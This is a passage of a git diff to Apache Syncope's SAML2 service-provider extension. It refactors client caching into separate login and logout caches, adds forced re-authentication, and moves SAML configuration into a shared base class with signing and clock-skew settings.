b/ext/saml2sp4ui/client-enduser/pom.xml index 9ea2bb97cca..58d2127b379 100644 --- a/ext/saml2sp4ui/client-enduser/pom.xml +++ b/ext/saml2sp4ui/client-enduser/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-saml2sp4ui - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: SAML2 SP4UI Client Enduser diff --git a/ext/saml2sp4ui/client-enduser/src/main/java/org/apache/syncope/client/enduser/SAML2SP4UIEnduserContext.java b/ext/saml2sp4ui/client-enduser/src/main/java/org/apache/syncope/client/enduser/SAML2SP4UIEnduserContext.java new file mode 100644 index 00000000000..bc140ccc3af --- /dev/null +++ b/ext/saml2sp4ui/client-enduser/src/main/java/org/apache/syncope/client/enduser/SAML2SP4UIEnduserContext.java @@ -0,0 +1,55 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.client.enduser; + +import org.apache.syncope.client.enduser.resources.saml2sp4ui.EnduserAssertionConsumerResource; +import org.apache.syncope.client.enduser.resources.saml2sp4ui.EnduserLogoutResource; +import org.apache.syncope.client.ui.commons.resources.saml2sp4ui.LoginResource; +import org.apache.syncope.client.ui.commons.resources.saml2sp4ui.MetadataResource; +import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +@Configuration(proxyBeanMethods = false) +public class SAML2SP4UIEnduserContext { + + @ConditionalOnMissingBean + @Bean + public MetadataResource metadataResource() { + return new MetadataResource(); + } + + @ConditionalOnMissingBean + @Bean + public LoginResource saml2sp4uiLoginResource() { + return new LoginResource(); + } + + @ConditionalOnMissingBean + @Bean + public EnduserAssertionConsumerResource assertionConsumerResource() { + return new EnduserAssertionConsumerResource(); + } + + @ConditionalOnMissingBean + @Bean + public EnduserLogoutResource saml2sp4uiLogoutResource() { + return new EnduserLogoutResource(); + } +} diff --git a/ext/saml2sp4ui/client-enduser/src/main/java/org/apache/syncope/client/enduser/pages/SAML2SPLogin.java b/ext/saml2sp4ui/client-enduser/src/main/java/org/apache/syncope/client/enduser/pages/SAML2SPLogin.java index 9b10c2c0569..d8aa14bdad7 100644 --- a/ext/saml2sp4ui/client-enduser/src/main/java/org/apache/syncope/client/enduser/pages/SAML2SPLogin.java +++ b/ext/saml2sp4ui/client-enduser/src/main/java/org/apache/syncope/client/enduser/pages/SAML2SPLogin.java @@ -55,6 +55,8 @@ public SAML2SPLogin(final PageParameters parameters) { SyncopeEnduserSession.get().setAttribute(Constants.BEFORE_LOGOUT_PAGE, SAML2SPBeforeLogout.class); } + SyncopeEnduserSession.get().setLastReauth(); + // If login has been called because the user was not yet logged in, than continue to the // original destination, otherwise to the Home page continueToOriginalDestination(); diff --git a/ext/saml2sp4ui/client-enduser/src/main/java/org/apache/syncope/client/enduser/resources/saml2sp4ui/EnduserLogoutResource.java b/ext/saml2sp4ui/client-enduser/src/main/java/org/apache/syncope/client/enduser/resources/saml2sp4ui/EnduserLogoutResource.java index 30c8868f9a2..e75039be726 100644 --- a/ext/saml2sp4ui/client-enduser/src/main/java/org/apache/syncope/client/enduser/resources/saml2sp4ui/EnduserLogoutResource.java +++ b/ext/saml2sp4ui/client-enduser/src/main/java/org/apache/syncope/client/enduser/resources/saml2sp4ui/EnduserLogoutResource.java @@ -18,7 +18,7 @@ */ package org.apache.syncope.client.enduser.resources.saml2sp4ui; -import org.apache.syncope.client.enduser.pages.SAML2SPBeforeLogout; +import org.apache.syncope.client.enduser.pages.SAML2SPLogout; import org.apache.syncope.client.ui.commons.SAML2SP4UIConstants; import org.apache.syncope.client.ui.commons.annotations.Resource; import org.apache.syncope.client.ui.commons.resources.saml2sp4ui.LogoutResource; @@ -33,6 +33,6 @@ public class EnduserLogoutResource extends LogoutResource { @Override protected Class getLogoutPageClass() { - return SAML2SPBeforeLogout.class; + return SAML2SPLogout.class; } } diff --git a/ext/saml2sp4ui/client-enduser/src/main/resources/META-INF/spring.factories b/ext/saml2sp4ui/client-enduser/src/main/resources/META-INF/spring.factories new file mode 100644 index 00000000000..500a12f7ae6 --- /dev/null +++ b/ext/saml2sp4ui/client-enduser/src/main/resources/META-INF/spring.factories @@ -0,0 +1,19 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. + +org.springframework.boot.autoconfigure.EnableAutoConfiguration=\ + org.apache.syncope.client.enduser.SAML2SP4UIEnduserContext diff --git a/ext/saml2sp4ui/common-lib/pom.xml b/ext/saml2sp4ui/common-lib/pom.xml index 6be63e53350..778478c7fc8 100644 --- a/ext/saml2sp4ui/common-lib/pom.xml +++ b/ext/saml2sp4ui/common-lib/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-saml2sp4ui - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: SAML2 SP4UI Common Lib diff --git a/ext/saml2sp4ui/common-lib/src/main/java/org/apache/syncope/common/lib/to/SAML2SP4UIIdPTO.java b/ext/saml2sp4ui/common-lib/src/main/java/org/apache/syncope/common/lib/to/SAML2SP4UIIdPTO.java index a9d62eec69a..257bec10be0 100644 --- a/ext/saml2sp4ui/common-lib/src/main/java/org/apache/syncope/common/lib/to/SAML2SP4UIIdPTO.java +++ b/ext/saml2sp4ui/common-lib/src/main/java/org/apache/syncope/common/lib/to/SAML2SP4UIIdPTO.java @@ -37,22 +37,22 @@ public class SAML2SP4UIIdPTO extends ItemContainer implements EntityTO { private String metadata; + private SAML2BindingType bindingType; + + private boolean logoutSupported; + + private String requestedAuthnContextProvider; + private boolean createUnmatching; private boolean updateMatching; private boolean selfRegUnmatching; - private SAML2BindingType bindingType; - - private boolean logoutSupported; - private UserTO userTemplate; private final List actions = new ArrayList<>(); - private String requestedAuthnContextProvider; - @Override public String getKey() { return key; @@ -88,6 +88,30 @@ public void setMetadata(final String metadata) { this.metadata = metadata; } + public SAML2BindingType getBindingType() { + return bindingType; + } + + public void setBindingType(final SAML2BindingType bindingType) { + this.bindingType = bindingType; + } + + public boolean isLogoutSupported() { + return logoutSupported; + } + + public void setLogoutSupported(final boolean logoutSupported) { + this.logoutSupported = logoutSupported; + } + + public String getRequestedAuthnContextProvider() { + return requestedAuthnContextProvider; + } + + public void setRequestedAuthnContextProvider(final String requestedAuthnContextProvider) { + this.requestedAuthnContextProvider = requestedAuthnContextProvider; + } + public boolean isCreateUnmatching() { return createUnmatching; } @@ -112,22 +136,6 @@ public void setUpdateMatching(final boolean updateMatching) { this.updateMatching = updateMatching; } - public SAML2BindingType getBindingType() { - return bindingType; - } - - public void setBindingType(final SAML2BindingType bindingType) { - this.bindingType = bindingType; - } - - public boolean isLogoutSupported() { - return logoutSupported; - } - - public void setLogoutSupported(final boolean logoutSupported) { - this.logoutSupported = logoutSupported; - } - public UserTO getUserTemplate() { return userTemplate; } @@ -141,12 +149,4 @@ public void setUserTemplate(final UserTO userTemplate) { public List getActions() { return actions; } - - public String getRequestedAuthnContextProvider() { - return requestedAuthnContextProvider; - } - - public void setRequestedAuthnContextProvider(final String requestedAuthnContextProvider) { - this.requestedAuthnContextProvider = requestedAuthnContextProvider; - } } diff --git a/ext/saml2sp4ui/logic/pom.xml b/ext/saml2sp4ui/logic/pom.xml index a7aba804163..c23c07a4de9 100644 --- a/ext/saml2sp4ui/logic/pom.xml +++ b/ext/saml2sp4ui/logic/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-saml2sp4ui - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: SAML2 SP4UI Logic diff --git a/ext/saml2sp4ui/logic/src/main/java/org/apache/syncope/core/logic/AbstractSAML2SP4UILogic.java b/ext/saml2sp4ui/logic/src/main/java/org/apache/syncope/core/logic/AbstractSAML2SP4UILogic.java new file mode 100644 index 00000000000..87bdbb1b1a3 --- /dev/null +++ b/ext/saml2sp4ui/logic/src/main/java/org/apache/syncope/core/logic/AbstractSAML2SP4UILogic.java @@ -0,0 +1,83 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.logic; + +import java.io.InputStream; +import java.security.KeyStore; +import java.security.PrivateKey; +import java.security.cert.X509Certificate; +import org.apache.syncope.common.lib.to.EntityTO; +import org.apache.syncope.core.logic.saml2.NoOpLogoutHandler; +import org.pac4j.saml.config.SAML2Configuration; +import org.pac4j.saml.metadata.keystore.BaseSAML2KeystoreGenerator; +import org.springframework.core.io.FileUrlResource; +import org.springframework.core.io.support.ResourcePatternResolver; + +abstract class AbstractSAML2SP4UILogic extends AbstractTransactionalLogic { + + protected final SAML2SP4UIProperties props; + + protected final ResourcePatternResolver resourceResolver; + + protected AbstractSAML2SP4UILogic( + final SAML2SP4UIProperties props, + final ResourcePatternResolver resourceResolver) { + + this.props = props; + this.resourceResolver = resourceResolver; + } + + protected SAML2Configuration newSAML2Configuration() { + SAML2Configuration cfg = new SAML2Configuration( + resourceResolver.getResource(props.getKeystore()), + props.getKeystoreAlias(), + props.getKeystoreType(), + props.getKeystoreStorepass(), + props.getKeystoreKeypass(), + null); + + if (cfg.getKeystoreResource() instanceof FileUrlResource) { + cfg.setKeystoreGenerator(new BaseSAML2KeystoreGenerator(cfg) { + + @Override + protected void store( + final KeyStore ks, + final X509Certificate certificate, + final PrivateKey privateKey) throws Exception { + + // nothing to do + } + + @Override + public InputStream retrieve() throws Exception { + return cfg.getKeystoreResource().getInputStream(); + } + }); + } + + cfg.setWantsAssertionsSigned(true); + cfg.setAuthnRequestSigned(true); + cfg.setSpLogoutRequestSigned(true); + cfg.setMaximumAuthenticationLifetime(props.getMaximumAuthenticationLifetime()); + cfg.setAcceptedSkew(props.getAcceptedSkew()); + cfg.setLogoutHandler(new NoOpLogoutHandler()); + + return cfg; + } +} diff --git a/ext/saml2sp4ui/logic/src/main/java/org/apache/syncope/core/logic/SAML2SP4UIIdPLogic.java b/ext/saml2sp4ui/logic/src/main/java/org/apache/syncope/core/logic/SAML2SP4UIIdPLogic.java index 6047a331345..83b69725370 100644 --- a/ext/saml2sp4ui/logic/src/main/java/org/apache/syncope/core/logic/SAML2SP4UIIdPLogic.java +++ b/ext/saml2sp4ui/logic/src/main/java/org/apache/syncope/core/logic/SAML2SP4UIIdPLogic.java @@ -27,33 +27,36 @@ import org.apache.syncope.common.lib.to.SAML2SP4UIIdPTO; import org.apache.syncope.common.lib.types.ClientExceptionType; import org.apache.syncope.common.lib.types.SAML2SP4UIEntitlement; -import org.apache.syncope.core.logic.init.SAML2SP4UILoader; import org.apache.syncope.core.logic.saml2.SAML2ClientCache; import org.apache.syncope.core.persistence.api.dao.NotFoundException; import org.apache.syncope.core.persistence.api.dao.SAML2SP4UIIdPDAO; import org.apache.syncope.core.persistence.api.entity.SAML2SP4UIIdP; import org.apache.syncope.core.provisioning.api.data.SAML2SP4UIIdPDataBinder; +import org.springframework.core.io.support.ResourcePatternResolver; import org.springframework.security.access.prepost.PreAuthorize; import org.springframework.transaction.annotation.Transactional; -public class SAML2SP4UIIdPLogic extends AbstractTransactionalLogic { +public class SAML2SP4UIIdPLogic extends AbstractSAML2SP4UILogic { - protected final SAML2SP4UILoader loader; + protected final SAML2ClientCache saml2ClientCacheLogin; - protected final SAML2ClientCache saml2ClientCache; + protected final SAML2ClientCache saml2ClientCacheLogout; protected final SAML2SP4UIIdPDataBinder binder; protected final SAML2SP4UIIdPDAO idpDAO; public SAML2SP4UIIdPLogic( - final SAML2SP4UILoader loader, - final SAML2ClientCache saml2ClientCache, + final SAML2SP4UIProperties props, + final ResourcePatternResolver resourceResolver, + final SAML2ClientCache saml2ClientCacheLogin, + final SAML2ClientCache saml2ClientCacheLogout, final SAML2SP4UIIdPDataBinder binder, final SAML2SP4UIIdPDAO idpDAO) { - this.loader = loader; - this.saml2ClientCache = saml2ClientCache; + super(props, resourceResolver); + this.saml2ClientCacheLogin = saml2ClientCacheLogin; + this.saml2ClientCacheLogout = saml2ClientCacheLogout; this.binder = binder; this.idpDAO = idpDAO; } @@ -78,7 +81,7 @@ public SAML2SP4UIIdPTO read(final String key) { @PreAuthorize("hasRole('" + SAML2SP4UIEntitlement.IDP_IMPORT + "')") public String importFromMetadata(final InputStream input) { try { - SAML2SP4UIIdPTO idpTO = SAML2ClientCache.importMetadata(input, loader.newSAML2Configuration()); + SAML2SP4UIIdPTO idpTO = SAML2ClientCache.importMetadata(input, newSAML2Configuration()); SAML2SP4UIIdP idp = binder.create(idpTO); return idp.getKey(); @@ -100,7 +103,8 @@ public void update(final SAML2SP4UIIdPTO saml2IdpTO) { } idp = binder.update(idp, saml2IdpTO); - saml2ClientCache.removeAll(idp.getEntityID()); + saml2ClientCacheLogin.removeAll(idp.getEntityID()); + saml2ClientCacheLogout.removeAll(idp.getEntityID()); } @PreAuthorize("hasRole('" + SAML2SP4UIEntitlement.IDP_DELETE + "')") @@ -111,7 +115,8 @@ public void delete(final String key) { } idpDAO.delete(key); - saml2ClientCache.removeAll(idp.getEntityID()); + saml2ClientCacheLogin.removeAll(idp.getEntityID()); + saml2ClientCacheLogout.removeAll(idp.getEntityID()); } @Override diff --git a/ext/saml2sp4ui/logic/src/main/java/org/apache/syncope/core/logic/SAML2SP4UILogic.java b/ext/saml2sp4ui/logic/src/main/java/org/apache/syncope/core/logic/SAML2SP4UILogic.java index ad13b9167c3..4704420504e 100644 --- a/ext/saml2sp4ui/logic/src/main/java/org/apache/syncope/core/logic/SAML2SP4UILogic.java +++ b/ext/saml2sp4ui/logic/src/main/java/org/apache/syncope/core/logic/SAML2SP4UILogic.java @@ -46,7 +46,6 @@ import org.apache.syncope.common.lib.types.ClientExceptionType; import org.apache.syncope.common.lib.types.IdRepoEntitlement; import org.apache.syncope.common.lib.types.SAML2BindingType; -import org.apache.syncope.core.logic.init.SAML2SP4UILoader; import org.apache.syncope.core.logic.saml2.NoOpSessionStore; import org.apache.syncope.core.logic.saml2.SAML2ClientCache; import org.apache.syncope.core.logic.saml2.SAML2SP4UIContext; @@ -66,7 +65,6 @@ import org.opensaml.saml.saml2.core.AuthnRequest; import org.opensaml.saml.saml2.core.LogoutResponse; import org.opensaml.saml.saml2.core.NameID; -import org.opensaml.saml.saml2.core.RequestedAuthnContext; import org.opensaml.saml.saml2.core.StatusCode; import org.opensaml.saml.saml2.metadata.AssertionConsumerService; import org.opensaml.saml.saml2.metadata.EntityDescriptor; @@ -87,10 +85,11 @@ import org.pac4j.saml.redirect.SAML2RedirectionActionBuilder; import org.pac4j.saml.sso.impl.SAML2AuthnRequestBuilder; import org.springframework.beans.BeanUtils; +import org.springframework.core.io.support.ResourcePatternResolver; import org.springframework.security.access.prepost.PreAuthorize; import org.springframework.util.ResourceUtils; -public class SAML2SP4UILogic extends AbstractTransactionalLogic { +public class SAML2SP4UILogic extends AbstractSAML2SP4UILogic { protected static final String JWT_CLAIM_IDP_ENTITYID = "IDP_ENTITYID"; @@ -102,11 +101,11 @@ public class SAML2SP4UILogic extends AbstractTransactionalLogic { protected static final Encryptor ENCRYPTOR = Encryptor.getInstance(); - protected final SAML2SP4UILoader loader; - protected final AccessTokenDataBinder accessTokenDataBinder; - protected final SAML2ClientCache saml2ClientCache; + protected final SAML2ClientCache saml2ClientCacheLogin; + + protected final SAML2ClientCache saml2ClientCacheLogout; protected final SAML2SP4UIUserManager userManager; @@ -119,16 +118,20 @@ public class SAML2SP4UILogic extends AbstractTransactionalLogic { protected final Map perContextRACP = new ConcurrentHashMap<>(); public SAML2SP4UILogic( - final SAML2SP4UILoader loader, + final SAML2SP4UIProperties props, + final ResourcePatternResolver resourceResolver, final AccessTokenDataBinder accessTokenDataBinder, - final SAML2ClientCache saml2ClientCache, + final SAML2ClientCache saml2ClientCacheLogin, + final SAML2ClientCache saml2ClientCacheLogout, final SAML2SP4UIUserManager userManager, final SAML2SP4UIIdPDAO idpDAO, final AuthDataAccessor authDataAccessor) { - this.loader = loader; + super(props, resourceResolver); + this.accessTokenDataBinder = accessTokenDataBinder; - this.saml2ClientCache = saml2ClientCache; + this.saml2ClientCacheLogin = saml2ClientCacheLogin; + this.saml2ClientCacheLogout = saml2ClientCacheLogout; this.userManager = userManager; this.idpDAO = idpDAO; this.authDataAccessor = authDataAccessor; @@ -160,7 +163,7 @@ protected static String getCallbackUrl(final String spEntityID, final String url public void getMetadata(final String spEntityID, final String urlContext, final OutputStream os) { String metadata = metadataCache.get(spEntityID + urlContext); if (metadata == null) { - SAML2Configuration cfg = loader.newSAML2Configuration(); + SAML2Configuration cfg = newSAML2Configuration(); cfg.setServiceProviderEntityId(spEntityID); cfg.setCallbackUrl(getCallbackUrl(spEntityID, urlContext)); SAML2ClientCache.getSPMetadataPath(spEntityID).ifPresent(cfg::setServiceProviderMetadataResourceFilepath); @@ -206,19 +209,27 @@ public void getMetadata(final String spEntityID, final String urlContext, final } } - protected SAML2Client getSAML2Client(final SAML2SP4UIIdP idp, final String spEntityID, final String urlContext) { + protected SAML2Client getSAML2Client( + final SAML2ClientCache saml2ClientCache, + final SAML2SP4UIIdP idp, + final String spEntityID, + final String urlContext) { + return saml2ClientCache.get(idp.getEntityID(), spEntityID). orElseGet(() -> saml2ClientCache.add( - idp, loader.newSAML2Configuration(), spEntityID, getCallbackUrl(spEntityID, urlContext))); + idp, newSAML2Configuration(), spEntityID, getCallbackUrl(spEntityID, urlContext))); } - protected SAML2Client getSAML2Client(final String idpEntityID, final String spEntityID, final String urlContext) { - SAML2SP4UIIdP idp = idpDAO.findByEntityID(idpEntityID); - if (idp == null) { - throw new NotFoundException("SAML 2.0 IdP '" + idpEntityID + '\''); - } + protected SAML2Client getSAML2Client( + final SAML2ClientCache saml2ClientCache, + final String idpEntityID, + final String spEntityID, + final String urlContext) { + + SAML2SP4UIIdP idp = Optional.ofNullable(idpDAO.findByEntityID(idpEntityID)). + orElseThrow(() -> new NotFoundException("SAML 2.0 IdP '" + idpEntityID + '\'')); - return getSAML2Client(idp, spEntityID, urlContext); + return getSAML2Client(saml2ClientCache, idp, spEntityID, urlContext); } protected static SAML2Request buildRequest(final String idpEntityID, final RedirectionAction action) { @@ -258,37 +269,34 @@ protected Optional getRequestedAuthnContextProvid public SAML2Request createLoginRequest( final String spEntityID, final String urlContext, - final String idpEntityID) { + final String idpEntityID, + final boolean reauth) { // 0. look for IdP - SAML2SP4UIIdP idp = idpDAO.findByEntityID(idpEntityID); - if (idp == null) { - throw new NotFoundException("SAML 2.0 IdP '" + idpEntityID + '\''); - } + SAML2SP4UIIdP idp = Optional.ofNullable(idpDAO.findByEntityID(idpEntityID)). + orElseThrow(() -> new NotFoundException("SAML 2.0 IdP '" + idpEntityID + '\'')); // 1. look for configured client - SAML2Client saml2Client = getSAML2Client(idp, spEntityID, urlContext); - - getRequestedAuthnContextProvider(idp).ifPresent(requestedAuthnContextProvider -> { - RequestedAuthnContext requestedAuthnContext = requestedAuthnContextProvider.get(); - saml2Client.setRedirectionActionBuilder(new SAML2RedirectionActionBuilder(saml2Client) { - - @Override - public Optional getRedirectionAction( - final WebContext wc, final SessionStore sessionStore) { - - this.saml2ObjectBuilder = new SAML2AuthnRequestBuilder() { - - @Override - public AuthnRequest build(final SAML2MessageContext context) { - AuthnRequest authnRequest = super.build(context); - authnRequest.setRequestedAuthnContext(requestedAuthnContext); - return authnRequest; - } - }; - return super.getRedirectionAction(wc, sessionStore); - } - }); + SAML2Client saml2Client = getSAML2Client(saml2ClientCacheLogin, idp, spEntityID, urlContext); + + saml2Client.setRedirectionActionBuilder(new SAML2RedirectionActionBuilder(saml2Client) { + + @Override + public Optional getRedirectionAction( + final WebContext wc, final SessionStore sessionStore) { + this.saml2ObjectBuilder = new SAML2AuthnRequestBuilder() { + + @Override + public AuthnRequest build(final SAML2MessageContext context) { + AuthnRequest authnRequest = super.build(context); + authnRequest.setForceAuthn(reauth); + getRequestedAuthnContextProvider(idp). + ifPresent(provider -> authnRequest.setRequestedAuthnContext(provider.get())); + return authnRequest; + } + }; + return super.getRedirectionAction(wc, sessionStore); + } }); // 2. create AuthnRequest @@ -307,13 +315,15 @@ public AuthnRequest build(final SAML2MessageContext context) { @PreAuthorize("hasRole('" + IdRepoEntitlement.ANONYMOUS + "')") public SAML2LoginResponse validateLoginResponse(final SAML2Response saml2Response) { // 0. look for IdP - SAML2SP4UIIdP idp = idpDAO.findByEntityID(saml2Response.getIdpEntityID()); - if (idp == null) { - throw new NotFoundException("SAML 2.0 IdP '" + saml2Response.getIdpEntityID() + '\''); - } + SAML2SP4UIIdP idp = Optional.ofNullable(idpDAO.findByEntityID(saml2Response.getIdpEntityID())). + orElseThrow(() -> new NotFoundException("SAML 2.0 IdP '" + saml2Response.getIdpEntityID() + '\'')); // 1. look for configured client - SAML2Client saml2Client = getSAML2Client(idp, saml2Response.getSpEntityID(), saml2Response.getUrlContext()); + SAML2Client saml2Client = getSAML2Client( + saml2ClientCacheLogin, + idp, + saml2Response.getSpEntityID(), + saml2Response.getUrlContext()); // 2. validate the provided SAML response SAML2Credentials credentials; @@ -357,7 +367,7 @@ public SAML2LoginResponse validateLoginResponse(final SAML2Response saml2Respons for (SAML2Credentials.SAMLAttribute attr : credentials.getAttributes()) { if (!attr.getAttributeValues().isEmpty()) { - String attrName = attr.getFriendlyName() == null ? attr.getName() : attr.getFriendlyName(); + String attrName = Optional.ofNullable(attr.getFriendlyName()).orElse(attr.getName()); if (connObjectKeyItem != null && attrName.equals(connObjectKeyItem.getExtAttrName())) { keyValue = attr.getAttributeValues().get(0); } @@ -366,9 +376,9 @@ public SAML2LoginResponse validateLoginResponse(final SAML2Response saml2Respons } } - List matchingUsers = keyValue == null - ? List.of() - : userManager.findMatchingUser(keyValue, idp.getKey()); + List matchingUsers = Optional.ofNullable(keyValue). + map(k -> userManager.findMatchingUser(k, idp.getKey())). + orElseGet(List::of); LOG.debug("Found {} matching users for {}", matchingUsers.size(), keyValue); String username; @@ -429,8 +439,8 @@ public SAML2LoginResponse validateLoginResponse(final SAML2Response saml2Respons LOG.error("Could not fetch authorities", e); } - Pair accessTokenInfo = - accessTokenDataBinder.create(loginResp.getUsername(), claims, authorities, true); + Pair accessTokenInfo = accessTokenDataBinder.create( + Optional.of(loginResp.getSessionIndex()), loginResp.getUsername(), claims, authorities, true); loginResp.setAccessToken(accessTokenInfo.getLeft()); loginResp.setAccessTokenExpiryTime(accessTokenInfo.getRight()); @@ -459,7 +469,7 @@ public SAML2Request createLogoutRequest( if (idpEntityID == null) { throw new NotFoundException("No SAML 2.0 IdP information found in the access token"); } - SAML2Client saml2Client = getSAML2Client(idpEntityID, spEntityID, urlContext); + SAML2Client saml2Client = getSAML2Client(saml2ClientCacheLogout, idpEntityID, spEntityID, urlContext); if (saml2Client.getLogoutActionBuilder() instanceof NoLogoutActionBuilder) { throw new IllegalArgumentException("No SingleLogoutService available for " + saml2Client.getIdentityProviderResolvedEntityId()); @@ -497,12 +507,14 @@ public void validateLogoutResponse(final SAML2Response saml2Response) { return; } SAML2Client saml2Client = getSAML2Client( - saml2Response.getIdpEntityID(), saml2Response.getSpEntityID(), saml2Response.getUrlContext()); - - SAML2SP4UIIdP idp = idpDAO.findByEntityID(saml2Client.getIdentityProviderResolvedEntityId()); - if (idp == null) { - throw new NotFoundException("SAML 2.0 IdP '" + saml2Client.getIdentityProviderResolvedEntityId() + '\''); - } + saml2ClientCacheLogout, + saml2Response.getIdpEntityID(), + saml2Response.getSpEntityID(), + saml2Response.getUrlContext()); + + Optional.ofNullable(idpDAO.findByEntityID(saml2Client.getIdentityProviderResolvedEntityId())). + orElseThrow(() -> new NotFoundException( + "SAML 2.0 IdP '" + saml2Client.getIdentityProviderResolvedEntityId() + '\'')); // 2. validate the provided SAML response SAML2SP4UIContext ctx = new SAML2SP4UIContext( diff --git a/ext/saml2sp4ui/logic/src/main/java/org/apache/syncope/core/logic/SAML2SP4UILogicContext.java b/ext/saml2sp4ui/logic/src/main/java/org/apache/syncope/core/logic/SAML2SP4UILogicContext.java index f2b838ea28c..4690bfae08e 100644 --- a/ext/saml2sp4ui/logic/src/main/java/org/apache/syncope/core/logic/SAML2SP4UILogicContext.java +++ b/ext/saml2sp4ui/logic/src/main/java/org/apache/syncope/core/logic/SAML2SP4UILogicContext.java @@ -32,6 +32,7 @@ import org.apache.syncope.core.provisioning.java.pushpull.InboundMatcher; import org.apache.syncope.core.provisioning.java.utils.TemplateUtils; import org.apache.syncope.core.spring.security.AuthDataAccessor; +import org.springframework.beans.factory.annotation.Qualifier; import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; import org.springframework.boot.context.properties.EnableConfigurationProperties; import org.springframework.context.annotation.Bean; @@ -42,28 +43,43 @@ @Configuration(proxyBeanMethods = false) public class SAML2SP4UILogicContext { - @ConditionalOnMissingBean + @ConditionalOnMissingBean(name = "saml2ClientCacheLogin") + @Bean + public SAML2ClientCache saml2ClientCacheLogin() { + return new SAML2ClientCache(); + } + + @ConditionalOnMissingBean(name = "saml2ClientCacheLogout") @Bean - public SAML2ClientCache saml2ClientCache() { + public SAML2ClientCache saml2ClientCacheLogout() { return new SAML2ClientCache(); } @ConditionalOnMissingBean @Bean - public SAML2SP4UILoader saml2SP4UILoader(final ResourcePatternResolver resourceResolver, - final SAML2SP4UIProperties props) { - return new SAML2SP4UILoader(props, resourceResolver); + public SAML2SP4UILoader saml2SP4UILoader() { + return new SAML2SP4UILoader(); } @ConditionalOnMissingBean @Bean public SAML2SP4UIIdPLogic saml2SP4UIIdPLogic( - final SAML2SP4UIIdPDAO idpDAO, - final SAML2ClientCache saml2ClientCache, - final SAML2SP4UILoader loader, - final SAML2SP4UIIdPDataBinder binder) { + final SAML2SP4UIProperties props, + final ResourcePatternResolver resourceResolver, + @Qualifier("saml2ClientCacheLogin") + final SAML2ClientCache saml2ClientCacheLogin, + @Qualifier("saml2ClientCacheLogout") + final SAML2ClientCache saml2ClientCacheLogout, + final SAML2SP4UIIdPDataBinder binder, + final SAML2SP4UIIdPDAO idpDAO) { - return new SAML2SP4UIIdPLogic(loader, saml2ClientCache, binder, idpDAO); + return new SAML2SP4UIIdPLogic( + props, + resourceResolver, + saml2ClientCacheLogin, + saml2ClientCacheLogout, + binder, + idpDAO); } @ConditionalOnMissingBean @@ -92,17 +108,23 @@ public SAML2SP4UIUserManager saml2SP4UIUserManager( @ConditionalOnMissingBean @Bean public SAML2SP4UILogic saml2SP4UILogic( - final SAML2SP4UIIdPDAO idpDAO, - final SAML2ClientCache saml2ClientCache, - final SAML2SP4UILoader loader, + final SAML2SP4UIProperties props, + final ResourcePatternResolver resourceResolver, final AccessTokenDataBinder accessTokenDataBinder, + @Qualifier("saml2ClientCacheLogin") + final SAML2ClientCache saml2ClientCacheLogin, + @Qualifier("saml2ClientCacheLogout") + final SAML2ClientCache saml2ClientCacheLogout, final SAML2SP4UIUserManager userManager, + final SAML2SP4UIIdPDAO idpDAO, final AuthDataAccessor authDataAccessor) { return new SAML2SP4UILogic( - loader, + props, + resourceResolver, accessTokenDataBinder, - saml2ClientCache, + saml2ClientCacheLogin, + saml2ClientCacheLogout, userManager, idpDAO, authDataAccessor); diff --git a/ext/saml2sp4ui/logic/src/main/java/org/apache/syncope/core/logic/SAML2SP4UIProperties.java b/ext/saml2sp4ui/logic/src/main/java/org/apache/syncope/core/logic/SAML2SP4UIProperties.java index a58989319f5..6e117bd7afb 100644 --- a/ext/saml2sp4ui/logic/src/main/java/org/apache/syncope/core/logic/SAML2SP4UIProperties.java +++ b/ext/saml2sp4ui/logic/src/main/java/org/apache/syncope/core/logic/SAML2SP4UIProperties.java @@ -31,7 +31,11 @@ public class SAML2SP4UIProperties { private String keystoreKeypass; - private long skew; + private String keystoreAlias; + + private long maximumAuthenticationLifetime = 3600; + + private long acceptedSkew = 300; public String getKeystore() { return keystore; @@ -65,11 +69,27 @@ public void setKeystoreKeypass(final String keystoreKeypass) { this.keystoreKeypass = keystoreKeypass; } - public long getSkew() { - return skew; + public String getKeystoreAlias() { + return keystoreAlias; + } + + public void setKeystoreAlias(final String keystoreAlias) { + this.keystoreAlias = keystoreAlias; + } + + public long getMaximumAuthenticationLifetime() { + return maximumAuthenticationLifetime; + } + + public void setMaximumAuthenticationLifetime(final long 